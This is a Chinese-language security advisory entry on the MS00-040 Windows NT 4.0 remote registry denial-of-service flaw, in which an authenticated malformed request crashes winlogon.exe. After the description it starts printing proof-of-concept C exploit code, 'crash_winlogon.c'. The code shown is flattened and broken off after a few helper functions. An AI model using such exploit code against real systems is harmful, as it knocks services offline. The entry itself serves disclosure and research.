59、Windows NT 4.0 遠程注冊表拒絕服務攻擊漏洞
Windows NT 4.0 遠程注冊表拒絕服務攻擊漏洞發布日期:
受影響的系統: - Microsoft Windows NT 4.0 Workstation-
Microsoft Windows NT 4.0 Server- Microsoft Windows NT 4.0 Server, Enterprise Edition- Microsoft Windows NT 4.0 Server,
Terminal Server Edition
不受影響系統: Windows 2000
描述: 在遠程主機對注冊表的訪問請求被處理前,需要先經由遠程注冊表server進行認證。如果提交一個錯誤格式的請求,會讓遠程注冊表
server錯誤得進行解釋,並發生錯誤,不能正常工作。
在Windows Nt 4.0中,由於注冊表server包含在winlogon.exe這一系統進程裡,這個進程出錯將導致整個系統不可用。注意,只有一個已經通過
認證的用戶才能發起這樣的請求,匿名(空會話)連接不能導致這種拒絕服務攻擊。受到攻擊的系統必須重新啟動才能正常工作。<* 來源:
Renaud Deraison from Nessus Team Microsoft Security Bulletin (MS00-040)*>
測試程序: 警 告以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負! /** crash_winlogon.c**
by Renaud Deraison - [email protected]** This code is released under the GNU General Public License.*
(thanks for respecting this license)** In case you are wondering, here is the motto I applied for this code :**
"Structures are for sissies"*/#include #include #ifdef WIN32#include #define bzero(x,y) memset(x, 0, y)#else#include #include
#include #include #define closesocket(x) close(x)#endifchar * netbios_name(char * orig){int I, len;char * ret =
malloc(40);bzero(ret, 40);len =
strlen(orig);for(I=0;I<16;I++){ if(I >= len) strcat(ret, "CA"); else { int odiv, omod; odiv = (orig[I] / 16) + 'A'; omod =
(orig[I] % 16) + 'A'; ret[strlen(ret)]=odiv;
ret[strlen(ret)]=omod; }}return(ret);}char *
netbios_redirector(){int I;char * ret =
malloc(31);bzero(ret, 31);for(I=0;I<15;I++)strcat(ret, "CA");strcat(ret, "AA");return(ret);}char* unicode(char *
data){int len = strlen(data);int I;char * ret =
malloc(110);int l = 0;bzero(ret,110);for(I=0;I